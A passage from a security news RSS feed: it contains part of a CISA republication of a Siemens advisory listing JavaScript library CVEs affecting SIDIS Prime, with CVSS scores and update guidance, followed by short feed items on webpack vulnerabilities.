<p>Axios is a promise based HTTP client for the browser and Node.js. When Axios starting in version 0.28.0 and prior to versions 0.30.2 and 1.12.0 runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response. This path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`. Versions 0.30.2 and 1.12.0 contain a patch for the issue.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-58754">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/770.html">CWE-770 Allocation of Resources Without Limits or Throttling</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-62522</a></h3>
<div class="csaf-accordion-content">
<p>Vite is a frontend tooling framework for JavaScript. In versions from 2.9.18 to before 3.0.0, 3.2.9 to before 4.0.0, 4.5.3 to before 5.0.0, 5.2.6 to before 5.4.21, 6.0.0 to before 6.4.1, 7.0.0 to before 7.0.8, and 7.1.0 to before 7.1.11, files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows. Only apps explicitly exposing the Vite dev server to the network and running the dev server on Windows were affected. This issue has been patched in versions 5.4.21, 6.4.1, 7.0.8, and 7.1.11.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-62522">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-64718</a></h3>
<div class="csaf-accordion-content">
<p>js-yaml is a JavaScript YAML parser and dumper. In js-yaml before 4.1.1 and 3.14.2, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted. The problem is patched in js-yaml 4.1.1 and 3.14.2. Users can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default).</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-64718">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1321.html">CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-64756</a></h3>
<div class="csaf-accordion-content">
<p>Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-64756">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/78.html">CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-66030</a></h3>
<div class="csaf-accordion-content">
<p>Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. An Integer Overflow vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions. This issue has been patched in version 1.3.2.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66030">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-66031</a></h3>
<div class="csaf-accordion-content">
<p>Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. An Uncontrolled Recursion vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs. This issue has been patched in version 1.3.2.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66031">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/674.html">CWE-674 Uncontrolled Recursion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-66035</a></h3>
<div class="csaf-accordion-content">
<p>Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to versions 19.2.16, 20.3.14, and 21.0.1, there is a XSRF token leakage via protocol-relative URLs in angular HTTP clients. The vulnerability is a Credential Leak by App Logic that leads to the unauthorized disclosure of the Cross-Site Request Forgery (XSRF) token to an attacker-controlled domain. Angular's HttpClient has a built-in XSRF protection mechanism that works by checking if a request URL starts with a protocol (http:// or https://) to determine if it is cross-origin. If the URL starts with protocol-relative URL (//), it is incorrectly treated as a same-origin request, and the XSRF token is automatically added to the X-XSRF-TOKEN header. This issue has been patched in versions 19.2.16, 20.3.14, and 21.0.1. A workaround for this issue involves avoiding using protocol-relative URLs (URLs starting with //) in HttpClient requests. All backend communication URLs should be hardcoded as relative paths (starting with a single /) or fully qualified, trusted absolute URLs.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66035">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/201.html">CWE-201 Insertion of Sensitive Information Into Sent Data</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-66412</a></h3>
<div class="csaf-accordion-content">
<p>Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 21.0.2, 20.3.15, and 19.2.17, A Stored Cross-Site Scripting (XSS) vulnerability has been identified in the Angular Template Compiler. It occurs because the compiler's internal security schema is incomplete, allowing attackers to bypass Angular's built-in security sanitization. Specifically, the schema fails to classify certain URL-holding attributes (e.g., those that could contain javascript: URLs) as requiring strict URL security, enabling the injection of malicious scripts. This vulnerability is fixed in 21.0.2, 20.3.15, and 19.2.17.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66412">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-69277</a></h3>
<div class="csaf-accordion-content">
<p>libsodium before ad3004e, in atypical use cases involving certain custom cryptography or untrusted data to crypto_core_ed25519_is_valid_point, mishandles checks for whether an elliptic curve point is valid because it sometimes allows points that aren't in the main cryptographic group.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-69277">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/184.html">CWE-184 Incomplete List of Disallowed Inputs</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22610</a></h3>
<div class="csaf-accordion-content">
<p>Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to versions 19.2.18, 20.3.16, 21.0.7, and 21.1.0-rc.0, a cross-site scripting (XSS) vulnerability has been identified in the Angular Template Compiler. The vulnerability exists because Angular’s internal sanitization schema fails to recognize the href and xlink:href attributes of SVG elements as a Resource URL context. This issue has been patched in versions 19.2.18, 20.3.16, 21.0.7, and 21.1.0-rc.0.</p>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-22610">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Prime</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Prime</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0.800 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-485750 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-03-10</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-03-10</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-03-12</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-485750 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Developer-Häppchen fürs Wochenende – Kleinere News der Woche]]></title>
<description><![CDATA[Kleine, aber interessante Meldungshäppchen vom News-Buffet zu Ember, Akuity, TensorFlow, Apache Druid, Eclipse JKube, Python, webpack und React Native.]]></description>
<link>https://tsecurity.de/de/3287800/it-nachrichten/developer-haeppchen-fuers-wochenende-kleinere-news-der-woche/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3287800/it-nachrichten/developer-haeppchen-fuers-wochenende-kleinere-news-der-woche/</guid>
<pubDate>Sat, 14 Feb 2026 09:16:33 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Kleine, aber interessante Meldungshäppchen vom News-Buffet zu Ember, Akuity, TensorFlow, Apache Druid, Eclipse JKube, Python, webpack und React Native.]]></content:encoded>
</item>
<item>
<title><![CDATA[JavaScript: webpack ist unbeliebt – doch wird am häufigsten genutzt]]></title>
<description><![CDATA[In einer neuen Studie ist Vite das beliebteste JavaScript-Tool und läuft webpack in der Nutzung fast den ersten Rang ab. Nur zwei Prozentpunkte trennen sie.]]></description>
<link>https://tsecurity.de/de/3278805/it-nachrichten/javascript-webpack-ist-unbeliebt-doch-wird-am-haeufigsten-genutzt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3278805/it-nachrichten/javascript-webpack-ist-unbeliebt-doch-wird-am-haeufigsten-genutzt/</guid>
<pubDate>Tue, 10 Feb 2026 10:33:19 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In einer neuen Studie ist Vite das beliebteste JavaScript-Tool und läuft webpack in der Nutzung fast den ersten Rang ab. Nur zwei Prozentpunkte trennen sie.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-68157 | Webpack up to 5.103.x server-side request forgery (GHSA-38r7-794h-5758 / Nessus ID 298272)]]></title>
<description><![CDATA[A vulnerability categorized as critical has been discovered in Webpack up to 5.103.x. The impacted element is an unknown function. The manipulation results in server-side request forgery.

This vulnerability is cataloged as CVE-2025-68157. The attack may be launched remotely. There is no exploit ...]]></description>
<link>https://tsecurity.de/de/3274427/sicherheitsluecken/cve-2025-68157-webpack-up-to-5103x-server-side-request-forgery-ghsa-38r7-794h-5758-nessus-id-298272/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3274427/sicherheitsluecken/cve-2025-68157-webpack-up-to-5103x-server-side-request-forgery-ghsa-38r7-794h-5758-nessus-id-298272/</guid>
<pubDate>Sat, 07 Feb 2026 12:21:04 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/?kb.risk">critical</a> has been discovered in <a href="https://vuldb.com/?product.webpack">Webpack up to 5.103.x</a>. The impacted element is an unknown function. The manipulation results in server-side request forgery.

This vulnerability is cataloged as <a href="https://vuldb.com/?source_cve.344605">CVE-2025-68157</a>. The attack may be launched remotely. There is no exploit available.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-68458 | Webpack up to 5.104.0 URL Parser server-side request forgery (GHSA-8fgc-7cc6-rx7x / Nessus ID 298271)]]></title>
<description><![CDATA[A vulnerability identified as critical has been detected in Webpack up to 5.104.0. This affects an unknown function of the component URL Parser. This manipulation causes server-side request forgery.

This vulnerability is registered as CVE-2025-68458. Remote exploitation of the attack is possible...]]></description>
<link>https://tsecurity.de/de/3274426/sicherheitsluecken/cve-2025-68458-webpack-up-to-51040-url-parser-server-side-request-forgery-ghsa-8fgc-7cc6-rx7x-nessus-id-298271/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3274426/sicherheitsluecken/cve-2025-68458-webpack-up-to-51040-url-parser-server-side-request-forgery-ghsa-8fgc-7cc6-rx7x-nessus-id-298271/</guid>
<pubDate>Sat, 07 Feb 2026 12:21:03 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/?kb.risk">critical</a> has been detected in <a href="https://vuldb.com/?product.webpack">Webpack up to 5.104.0</a>. This affects an unknown function of the component <em>URL Parser</em>. This manipulation causes server-side request forgery.

This vulnerability is registered as <a href="https://vuldb.com/?source_cve.344606">CVE-2025-68458</a>. Remote exploitation of the attack is possible. No exploit is available.

You should upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-23864 | Meta react-server-dom-webpack up to 19.0.3/19.1.4/19.2.3 React Server deserialization]]></title>
<description><![CDATA[A vulnerability was found in Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel up to 19.0.3/19.1.4/19.2.3. It has been declared as critical. This affects an unknown part of the component React Server Component. The manipulation results in deserialization.

This...]]></description>
<link>https://tsecurity.de/de/3244778/sicherheitsluecken/cve-2026-23864-meta-react-server-dom-webpack-up-to-190319141923-react-server-deserialization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3244778/sicherheitsluecken/cve-2026-23864-meta-react-server-dom-webpack-up-to-190319141923-react-server-deserialization/</guid>
<pubDate>Fri, 30 Jan 2026 20:35:56 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/?product.meta:react-server-dom-webpack">Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel up to 19.0.3/19.1.4/19.2.3</a>. It has been declared as <a href="https://vuldb.com/?kb.risk">critical</a>. This affects an unknown part of the component <em>React Server Component</em>. The manipulation results in deserialization.

This vulnerability is cataloged as <a href="https://vuldb.com/?source_cve.342895">CVE-2026-23864</a>. The attack may be launched remotely. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA-Warnung vor Angriffen auf  VMware vCenter, Zimbra und mehr]]></title>
